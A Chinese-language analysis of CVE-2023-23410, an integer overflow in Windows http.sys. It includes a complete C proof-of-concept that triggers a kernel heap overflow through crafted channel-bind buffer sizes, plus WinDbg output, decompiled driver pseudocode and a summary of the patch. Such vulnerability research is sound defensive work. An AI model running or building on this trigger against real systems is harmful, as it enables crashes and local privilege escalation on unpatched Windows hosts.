CVE-2023-23410 Windows HTTP.sys 权限提升漏洞分析

基本信息

在http.sys中存在整数溢出漏洞,攻击者可以利用整数溢出漏洞绕过字段大小检查,导致在调用memcpy时传入超出缓冲区大小的长度参数,造成内存溢出。

环境搭建

  • 操作系统 windows 10
  • 调试器 windbg

技术分析&调试

PoC

#define _WIN32_WINNT 0x0A00
#define SECURITY_WIN32
#include <http.h>
#include <sspi.h>
#include <strsafe.h>
#pragma warning(disable : 4127) // condition expression is constant

int __cdecl wmain(int argc, __in_ecount(argc) wchar_t *argv[]) {
    HANDLE hReqQueue = NULL;
    HTTPAPI_VERSION HttpApiVersion = HTTPAPI_VERSION_2;
    HTTP_SERVER_SESSION_ID ssID = HTTP_NULL_ID;

    ULONG retCode;
    HTTP_URL_GROUP_ID urlGroupId = HTTP_NULL_ID;
    // 初始化HTTP服务器驱动
    retCode = HttpInitialize(HttpApiVersion,
                             HTTP_INITIALIZE_SERVER, // Flags
                             NULL                    // Reserved
    );

    if (retCode != NO_ERROR) {
        wprintf(L"HttpInitialize failed with %lu \n", retCode);
        return retCode;
    }
    // 创建服务会话
    retCode = HttpCreateServerSession(HttpApiVersion, &ssID, 0);

    if (retCode != NO_ERROR) {
        wprintf(L"HttpCreateServerSession failed with %lu \n", retCode);
        return 0;
    }
    // 创建url group
    retCode = HttpCreateUrlGroup(ssID, &urlGroupId, 0);

    if (retCode != NO_ERROR) {
        wprintf(L"HttpCreateUrlGroup failed with %lu \n", retCode);
        return 0;
    }

    BYTE data_temp1[0x1000] = {0};
    DWORD return_len = 0;

    // 分配 0xfffffe0 大小的堆块
    WCHAR *str = HeapAlloc(GetProcessHeap(), 0, 0xfffffe0);
    WCHAR str_test[0xfffe] = L"192.168.52.133:8081";
    memcpy(str, str_test, 0x20);

    HTTP_CHANNEL_BIND_INFO bind_info;
    bind_info.Hardening = HttpAuthenticationHardeningLegacy;
    bind_info.Flags = HTTP_CHANNEL_BIND_PROXY;

    HTTP_SERVICE_BINDING_W service_binding;
    HTTP_SERVICE_BINDING_BASE binding_base;
    binding_base.Type = HttpServiceBindingTypeW;
    service_binding.Base = binding_base;
    service_binding.Buffer = str;
    service_binding.BufferSize = 0xfffffe0 - 0xf0f0f0; // F0F0EF0
    PHTTP_SERVICE_BINDING_BASE binding_base_arr[0x11];
    PHTTP_SERVICE_BINDING_BASE tmp_binding_base = &service_binding;
    for (int i = 0; i < 0x11; i++) {
        binding_base_arr[i] = tmp_binding_base;
    }
    bind_info.ServiceNames = binding_base_arr;
    bind_info.NumberOfServiceNames = 0x11;
    retCode = HttpSetUrlGroupProperty(urlGroupId, HttpServerChannelBindProperty,
                                      &bind_info, 0x20);
    retCode = HttpQueryUrlGroupProperty(urlGroupId, HttpServerChannelBindProperty,
                                        &data_temp1, 0x140, &return_len);
}

http!UlCopyChannelBindConfigToIrp 下断点,运行PoC,此时调用栈为

1: kd> k
 # Child-SP          RetAddr               Call Site
00 fffff889`cd7f76a8 fffff805`7981ae19     HTTP!UlCopyChannelBindConfigToIrp
01 fffff889`cd7f76b0 fffff805`7982caf5     HTTP!UlQueryConfigGroupProperty+0x175
02 fffff889`cd7f7740 fffff805`797130aa     HTTP!UlQueryUrlGroupIoctl+0x195
03 fffff889`cd7f77c0 fffff805`6dc954d5     HTTP!UxDeviceControl+0x8a
04 fffff889`cd7f7800 fffff805`6e0a6048     nt!IofCallDriver+0x55
05 fffff889`cd7f7840 fffff805`6e0a5e47     nt!IopSynchronousServiceTail+0x1a8
06 fffff889`cd7f78e0 fffff805`6e0a51c6     nt!IopXxxControlFile+0xc67
07 fffff889`cd7f7a20 fffff805`6de0d8f5     nt!NtDeviceIoControlFile+0x56
08 fffff889`cd7f7a90 00007ff9`c610d1a4     nt!KiSystemServiceCopyEnd+0x25
09 00000014`7dcd6308 00007ff9`b6391b7a     ntdll!NtDeviceIoControlFile+0x14
0a 00000014`7dcd6310 00007ff9`b6393c9f     HTTPAPI!HttpApiSynchronousDeviceControl+0x8a
0b 00000014`7dcd6390 00007ff6`93fb18b2     HTTPAPI!HttpQueryUrlGroupProperty+0x6f
0c 00000014`7dcd6410 00000000`00000000     http_poc2!wmain+0x3d2 [D:\code\c\http_poc2.c @ 113]

http!UlCopyChannelBindConfigToIrp 伪代码如下,该函数调用UxGetOutputBufferForOutDirect 计算存储ChannelBindConfig 所需的内存大小,并和UxGetOutputBufferForOutDirect返回的分配的内存大小作比较:

__int64 __fastcall UlCopyChannelBindConfigToIrp(__int64 a1, IRP *a2, unsigned int *a3)
{
...
  v8 = UlpComputeChannelBindConfigSize(a1, a2);
  v43 = v8;
  if ( IoIs32bitProcess(a2) )
  {
    v36 = 0i64;
    IoIs32bitProcess(a2);
    OutputBufferForOutDirect = UxGetOutputBufferForOutDirect(
                                 (_DWORD)a2,
                                 (_DWORD)CurrentStackLocation,
                                 16,
                                 4,
                                 (__int64)&v31,
                                 (__int64)&v32,
                                 (__int64)&v41);
    v33 = OutputBufferForOutDirect;
    if ( OutputBufferForOutDirect < 0 )
      goto LABEL_32;
    if ( v8 > v41 )
    {
      OutputBufferForOutDirect = -2147483643;
      v33 = -2147483643;
      if ( (WPP_MAIN_CB.StackSize & 0x20) != 0 )
      {
        v10 = 43i64;
LABEL_6:
        WPP_SF_D(v10, &WPP_64a86ec3d91e339ac994f13222c31d64_Traceguids, 2147483653i64);
        goto LABEL_32;
      }
      goto LABEL_32;
    }
    v11 = v31;
    if ( (*(_DWORD *)a1 & 1) == 0 )
    {
      *(_QWORD *)v31 = 0i64;
      *(_QWORD *)(v11 + 8) = 0i64;
      goto LABEL_32;
    }
    *(_DWORD *)(v31 + 4) = *(_DWORD *)(a1 + 8);
    *(_DWORD *)v11 = *(_DWORD *)(a1 + 4);
    *(_QWORD *)(v11 + 8) = 0i64;
    v12 = *(_QWORD *)(a1 + 16);
    if ( !v12 || !*(_DWORD *)(v12 + 16) )
      goto LABEL_32;
    v13 = (v11 + 19) & 0xFFFFFFFFFFFFFFFCui64;
    v38 = v13;
    v36 = (_DWORD *)v13;
    *(_DWORD *)(v11 + 8) = v13 + v32 - v31;
    *(_DWORD *)(v11 + 12) = *(_DWORD *)(*(_QWORD *)(a1 + 16) + 16i64);
    v14 = *(unsigned int *)(*(_QWORD *)(a1 + 16) + 16i64);
    v15 = (_DWORD *)(v13 + 4 * v14);
    v37 = v15;
    v16 = (char *)&v15[3 * v14];
    v35 = v16;
    v17 = 0;
    v34 = 0;
    while ( v17 < *(_DWORD *)(*(_QWORD *)(a1 + 16) + 16i64) )
    {
      *(_DWORD *)(v13 + 4i64 * v17) = (_DWORD)v15 + v32 - v31;
      v18 = *(_QWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 16) + 8i64) + 8i64 * v17);
      if ( *(_DWORD *)v18 == 2 )
      {
        v36 = v15 + 3;
        v37 = v15 + 3;
        *v15 = 2;
        v15[1] = (_DWORD)v16 + v32 - v31;
        v15[2] = *(_DWORD *)(v18 + 16);
        memmove(v16, *(const void **)(v18 + 8), *(unsigned int *)(v18 + 16));
        v16 = &v35[*(unsigned int *)(v18 + 16)];
      }
      else
      {
        v36 = v15 + 3;
        v37 = v15 + 3;
        *v15 = 1;
        v30 = (char *)((unsigned __int64)(v16 + 1) & 0xFFFFFFFFFFFFFFFEui64);
        v15[1] = (_DWORD)v30 + v32 - v31;
        v15[2] = *(_DWORD *)(v18 + 16);
        memmove(v30, *(const void **)(v18 + 8), *(unsigned int *)(v18 + 16));
        v16 = &v30[*(unsigned int *)(v18 + 16)];
      }
      v35 = v16;
      v34 = ++v17;
      v15 = v36;
      v13 = v38;
    }
LABEL_31:
    v3 = v42;
    goto LABEL_32;
  }
  v38 = 0i64;
  v19 = IoIs32bitProcess(a2);
  OutputBufferForOutDirect = UxGetOutputBufferForOutDirect(
                               (_DWORD)a2,
                               (_DWORD)CurrentStackLocation,
                               24,
                               v19 != 0 ? 4 : 8,
                               (__int64)&v31,
                               (__int64)&v32,
                               (__int64)&v41);
  v33 = OutputBufferForOutDirect;
  if ( OutputBufferForOutDirect < 0 )
    goto LABEL_32;
  if ( v8 > v41 )
  {
    OutputBufferForOutDirect = -2147483643;
    v33 = -2147483643;
    if ( (WPP_MAIN_CB.StackSize & 0x20) == 0 )
      goto LABEL_32;
    v10 = 44i64;
    goto LABEL_6;
  }

  if ( v21 && *(_DWORD *)(v21 + 16) )
  {
    ...
    while ( v26 < *(_DWORD *)(*(_QWORD *)(a1 + 16) + 16i64) )
    {
      *(_QWORD *)(v22 + 8i64 * v26) = v32 + (unsigned int)(v24 - v31);
      v27 = *(_QWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 16) + 8i64) + 8i64 * v26);
      if ( *(_DWORD *)v27 == 2 )
      {
        v36 = (_DWORD *)(v24 + 24);
        v37 = (_DWORD *)(v24 + 24);
        *(_DWORD *)v24 = 2;
        *(_QWORD *)(v24 + 8) = v32 + (unsigned int)((_DWORD)v25 - v31);
        *(_DWORD *)(v24 + 16) = *(_DWORD *)(v27 + 16);
        memmove(v25, *(const void **)(v27 + 8), *(unsigned int *)(v27 + 16));
        v25 = &v35[*(unsigned int *)(v27 + 16)];
      }
      else
      {
        v36 = (_DWORD *)(v24 + 24);
        v37 = (_DWORD *)(v24 + 24);
        *(_DWORD *)v24 = 1;
        v28 = (char *)((unsigned __int64)(v25 + 1) & 0xFFFFFFFFFFFFFFFEui64);
        *(_QWORD *)(v24 + 8) = v32 + (((_DWORD)v25 + 1) & 0xFFFFFFFE) - (unsigned int)v31;
        *(_DWORD *)(v24 + 16) = *(_DWORD *)(v27 + 16);
        memmove(v28, *(const void **)(v27 + 8), *(unsigned int *)(v27 + 16));// 触发漏洞
        v25 = &v28[*(unsigned int *)(v27 + 16)];
      }
      v35 = v25;
      v34 = ++v26;
      v24 = (__int64)v36;
      v22 = v39;
    }
    goto LABEL_31;
  }
LABEL_32:
  if ( (int)(OutputBufferForOutDirect + 0x80000000) < 0 || OutputBufferForOutDirect == -2147483643 )
    v6 = v8;
  *v3 = v6;
  return (unsigned int)OutputBufferForOutDirect;
}

UlpComputeChannelBindConfigSize函数中存在整数溢出,该函数伪代码如下,rsi+10h处指向了用户传入的HTTP_CHANNEL_BIND_INFO结构体,该结构体定义如下:

typedef struct _HTTP_CHANNEL_BIND_INFO
{
    HTTP_AUTHENTICATION_HARDENING_LEVELS Hardening;
    ULONG Flags;
    PHTTP_SERVICE_BINDING_BASE * ServiceNames;
    ULONG NumberOfServiceNames;

} HTTP_CHANNEL_BIND_INFO, *PHTTP_CHANNEL_BIND_INFO;

typedef enum _HTTP_AUTHENTICATION_HARDENING_LEVELS
{
    HttpAuthenticationHardeningLegacy = 0,
    HttpAuthenticationHardeningMedium,
    HttpAuthenticationHardeningStrict

} HTTP_AUTHENTICATION_HARDENING_LEVELS;

typedef struct _HTTP_SERVICE_BINDING_BASE
{
    HTTP_SERVICE_BINDING_TYPE Type;

} HTTP_SERVICE_BINDING_BASE, *PHTTP_SERVICE_BINDING_BASE;

typedef struct _HTTP_SERVICE_BINDING_A
{
    HTTP_SERVICE_BINDING_BASE Base;
    PCHAR Buffer;
    ULONG BufferSize;

} HTTP_SERVICE_BINDING_A, *PHTTP_SERVICE_BINDING_A;

typedef struct _HTTP_SERVICE_BINDING_W
{
    HTTP_SERVICE_BINDING_BASE Base;
    PWCHAR Buffer;
    ULONG BufferSize;

} HTTP_SERVICE_BINDING_W, *PHTTP_SERVICE_BINDING_W;
__int64 __fastcall UlpComputeChannelBindConfigSize(__int64 a1, IRP *a2)
{
  unsigned int v4; // ebx
  __int64 v5; // rax
  __int64 v6; // rdi
  __int64 v7; // r9
  _DWORD *v8; // r8

  v4 = IoIs32bitProcess(a2) != 0 ? 16 : 24;
  if ( (*(_DWORD *)a1 & 1) != 0 )
  {
    v5 = *(_QWORD *)(a1 + 16);
    if ( v5 )
    {
      if ( *(_DWORD *)(v5 + 16) )
      {
        v6 = 0i64;
        v4 += (IoIs32bitProcess(a2) != 0 ? 16 : 32) * *(_DWORD *)(*(_QWORD *)(a1 + 16) + 16i64);
        if ( *(_DWORD *)(*(_QWORD *)(a1 + 16) + 16i64) )
        {
          do
          {
            IoIs32bitProcess(a2);
            v7 = *(_QWORD *)(a1 + 16);          // HTTP_CHANNEL_BIND_INFO 结构体
            v8 = *(_DWORD **)(*(_QWORD *)(v7 + 8) + 8 * v6);// ServiceName 结构体
            if ( *v8 == 1 )                     // 如果是HttpServiceBindingTypeW 则进入
              v4 = (v4 + 1) & 0xFFFFFFFE;
            v4 += v8[4];                        // V8是enum HTTP_SERVICE_BINDING_BASE类型,占4个字节,则V8[4]就是V8 后面16个字节,即BufferSize
            v6 = (unsigned int)(v6 + 1);
          }
          while ( (unsigned int)v6 < *(_DWORD *)(v7 + 16) );
        }
      }
    }
  }
  return v4;
}

该函数遍历HTTP_CHANNEL_BIND_INFO结构体的ServiceNames HTTP_SERVICE_BINDING_W指针数组的BufferSize,并相加,而后将其返回,其中v4为unsigned int类型,而BufferSize为ULONG类型,均为四个字节,当循环相加时,如果BufferSize * NumberOfServiceNames 和v4相加超出0xFFFFFFFF则会产生整数溢出,使得UlpComputeChannelBindConfigSize返回的内存大小小于实际所需的内存大小。在调试器中可以看到在执行完fffff805`7984c899 03d9 add ebx, ecx后,将产生溢出,ebx变为0x28。

Untitled

返回到上层函数,UlCopyChannelBindConfigToIrp 调用UxGetOutputBufferForOutDirect获取到用户传入的缓冲区大小,此时v41值为0x140

retCode = HttpQueryUrlGroupProperty(urlGroupId, HttpServerChannelBindProperty,
                                        &data_temp1, 0x140, &return_len);
v43 = v8;
  if ( IoIs32bitProcess(a2) )
  {
    v36 = 0i64;
    IoIs32bitProcess(a2);
    OutputBufferForOutDirect = UxGetOutputBufferForOutDirect(
                                 (__int64)a2,
                                 (__int64)CurrentStackLocation,
                                 0x10u,
                                 4i64,
                                 &v31,
                                 &v32,
                                 &v41);
    v33 = OutputBufferForOutDirect;
    if ( OutputBufferForOutDirect < 0 )
      goto LABEL_32;
    if ( v8 > v41 )
    {
      OutputBufferForOutDirect = -2147483643;
      v33 = -2147483643;
      if ( (WPP_MAIN_CB.StackSize & 0x20) != 0 )
      {
        v10 = 43i64;
LABEL_6:
        WPP_SF_D(v10, &WPP_64a86ec3d91e339ac994f13222c31d64_Traceguids, 2147483653i64);
        goto LABEL_32;
      }
      goto LABEL_32;
    }

Untitled

由于在HTTP!UlpComputeChannelBindConfigSize中发生整数溢出,导致HTTP!UlpComputeChannelBindConfigSize返回值小于用户提供的0x140,绕过了内存大小检查,在后面通过memcpy将HTTP_CHANNEL_BIND_INFO结构体的PHTTP_SERVICE_BINDING_BASE的Buffer成员拷贝到指定内存中,拷贝长度为BufferSize,即用户提供的0xF0F0EF0

Untitled

0xF0F0EF0远大于用户输入的缓冲区0x1000,导致堆溢出。

补丁

通过bindiff可知,在补丁中增加了对BufferSize进行判断的逻辑,判断BufferSize是否小于0xFFFC

Untitled

Untitled

由于ServiceName最大数量限制为0x40,则0x40 * 0xFFFC = 3FFF00,不能产生溢出,修复了该漏洞。

参考资料

https://www.freebuf.com/vuls/364920.html

Created at 2023-05-05T20:59:45+08:00

创建于:Friday, May 5,2023
最后修改于: Tuesday, January 2,2024